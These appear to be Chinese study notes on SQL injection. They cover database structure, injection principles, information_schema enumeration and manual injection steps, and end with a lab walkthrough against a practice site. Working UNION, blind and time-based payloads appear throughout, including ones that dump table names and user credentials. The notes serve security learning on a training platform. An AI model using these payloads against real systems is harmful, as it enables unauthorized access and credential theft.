ACCESS数据库
Access数据库是一种关系型数据库管理系统,广泛应用于桌面应用程序和Web应用程序的开发
Access是单独存在的数据库
数据库名
表名
列名
数据
MYSQL数据库
MYSQL数据库内置了root最高用户,划分等级,每个用户对应管理一个数据库,各个用户没有关联
MYSQL统一管理,最高数据用户=root用户
数据库A=网站A=数据库用户A
表名
列名
数据
数据库B=网站B=数据库用户B
数据库C=网站C=数据库用户C
SQL注入漏洞的原理
用程序对用户输入的数据未进行充分的验证和过滤。当应用程序直接将用户输入的数据拼接到SQL查询语句中时,攻击者可以通过特制的输入来操控SQL语句的执行。
在代码与数据库进行数据通讯时(从数据库中取出相关数据进行页面显示),将定义的SQL语句进行执行查询数据时,其中的SQL语句通过参数传递定义值来实现控制SQL语句,来实现查询其他数据(如数据库中的管理员账号密码)
漏洞产生根本条件:可控变量(id=1),特定函数
http://192.168.46.160:85/Production/PRODUCT.asp
http://192.168.46.160:85/Production/PRODUCT.asp?id=1513
如果下面的URL地址测试注入判断id有注入,手工测试该如何进行?
http://192.168.46.160:85/Production/PRODUCT.asp?id=1513&page=1
http://192.168.46.160:85/Production/PRODUCT.asp?page=1&id=1513
Production/PRODUCT.asp?id=1513 注入语句&page=1 √
Production/PRODUCT.asp?id=1513&page=1 注入语句 ×
说明注入语句应该在id后面进行注入
MYSQL注入思路:
(1)识别注入点:攻击者首先需要找到可以输入 SQL 代码的地方,如登录表单、搜索框、URL 参数等。
(2)构造恶意 SQL 代码:通过试探性的输入,攻击者构造出能够修改原始 SQL 查询的恶意代码。
(2)执行恶意代码:将恶意 SQL 代码嵌入正常的 SQL 查询中,并通过服务器执行,从而实现攻击目的。
一般的注入类型:
(1)基于错误的注入:利用 SQL 错误信息来推断数据库结构和内容。例如,通过输入 1' AND 1=1 -- ,查看返回结果是否正常,从而判断是否存在注入漏洞。
(2)联合查询注入:使用 UNION 关键字,将多个查询结果合并在一起。例如,输入 1' UNION SELECT username, password FROM users -- 来获取其他表的数据。
(3)盲注(Blind Injection):当服务器不返回错误信息时,攻击者通过逻辑判断来逐步推断数据库内容。例如,输入 1' AND (SELECT COUNT(*) FROM users) > 0 -- 来判断用户表是否存在。
(4)基于时间的盲注:利用数据库的时间延迟功能,通过测量响应时间来推断数据库内容。例如,输入 1' AND IF(1=1, SLEEP(5), 0) -- ,如果服务器响应延迟,说明条件成立。
MYSQL5.0以上版本:
mysql5.0以上的版本加入了信息库名information_schema
information_schema:存储数据库下的数据库名及表名,列名信息的数据库
information_schema.schematas:记录数据库信息表
information_schema.tables:记录表名信息的表
information_schema.columns:记录列名信息表
version():查询数据库版本
user():查询用户是否为root
@@version_compile_os:查询系统
database():查询数据库名
PHP+MYSQL的注入步骤
(1) ‘and '1'='1 和 ’and '1'='2来判断
http://xxx/abc.php?id= 1 and '1'='1 页面运行正常,继续进行下一步。
http://xxx/abc.php?id= 1 and '1'='2 页面运行错误,则说明此 Sql 注入为字符型注入。
(2)id后面加上order by查询页数
(3)在id后面用union注入语句查看数据库信息,' UNION SELECT 1,2 ,3,4,5,6,7,有返回值判断数据库的列数
(4)判断列数后再回显的数字上填入查询的语句(version(),user())等查看数据库的信息
墨者案例演示:
启动sql手工注入漏洞测试(Access数据库)
这个有可控变量显示(id=1)
下一步用and测试(这里可以注入)
order by 测试可显示列数为4(5的时候页面错误,4的时候页面正确),下一步就是union select 1,2,3,4测试显示位,这里显示结果为2和3
爆数据库名,版本,用户等:id=-1 union select 1,user(),database(),4
爆数据库表名:id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
爆数据库表名:id=-1 union select 1,group_concat(column_name) ,3,4 from information_schema.columns where table_schema=database() and table_name="StormGroup_member"
爆数据:id=-1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member
解码就是。